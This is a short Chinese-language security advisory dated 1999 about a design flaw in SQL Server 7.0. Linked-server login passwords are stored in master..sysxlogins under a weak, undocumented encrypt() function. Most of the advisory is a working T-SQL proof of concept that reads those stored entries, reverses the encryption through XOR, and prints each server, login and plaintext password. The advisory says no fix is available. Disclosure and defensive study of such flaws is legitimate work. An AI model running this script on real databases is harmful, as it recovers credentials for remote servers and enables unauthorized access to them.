SQL Server 7.0 Linked Server Password发布时间:1999-11-17 更新时间:1999-11-17 严重程度:中 威胁程度:口令恢复 错误类型:设计错误 利用方式:服务器模式 受影响系统 WinNT详细描述 SQL server 7介绍了LINK SERVERS的功能。如果远程服务器也运行了SQL SERVER7,则可以通过某些方法通过安全可信性检查(security credentials);如果远程服务器运行的是其他的包括SQL SERVER6.5,LINKED 的LOGIN 必须被映射为本地的LOGIN用户名和密码,这样它们可以用来作为在REMOTE SERVER上认证过程中的密码和用户名。这些 LINKED的LOGIN用户名和密码储存在'master..sysxlogins'表中,而密码使用一种新的,没有文献说明的,称为encrypt()加密后存储在此表中。 测试代码 set nocount on declare pwd cursor for select s.srvname, l.name, l.password from master..sysservers s join master..sysxlogins l on s.srvid = l.srvid where l.sid is not null for read only declare @server varchar(256), @login varchar(256) declare @password varbinary(256), @pwdtext nvarchar(128) declare @i int, @lsb tinyint, @msb tinyint, @tmp varbinary(256) open pwd fetch from pwd into @server, @login, @password while @@fetch_status = 0 begin set @i = 0 set @pwdtext = N'' while @i < datalength(@password) begin set @tmp = encrypt(@pwdtext + nchar(0)) set @lsb = convert(tinyint, substring (@tmp, @i + 1, 1)) ^ convert(tinyint, substring (@password, @i + 1, 1)) set @i = @i + 1 set @tmp = encrypt(@pwdtext + nchar (@lsb)) set @msb = convert(tinyint, substring (@tmp, @i + 1, 1)) ^ convert(tinyint, substring (@password, @i + 1, 1)) set @i = @i + 1 set @pwdtext = @pwdtext + nchar(convert (smallint, @lsb) + 256 * convert(smallint, @msb)) end print @server + ', ' + @login + ', ' + @pwdtext fetch from pwd into @server, @login, @password end deallocate pwd 解决方案 暂无 相关信息 |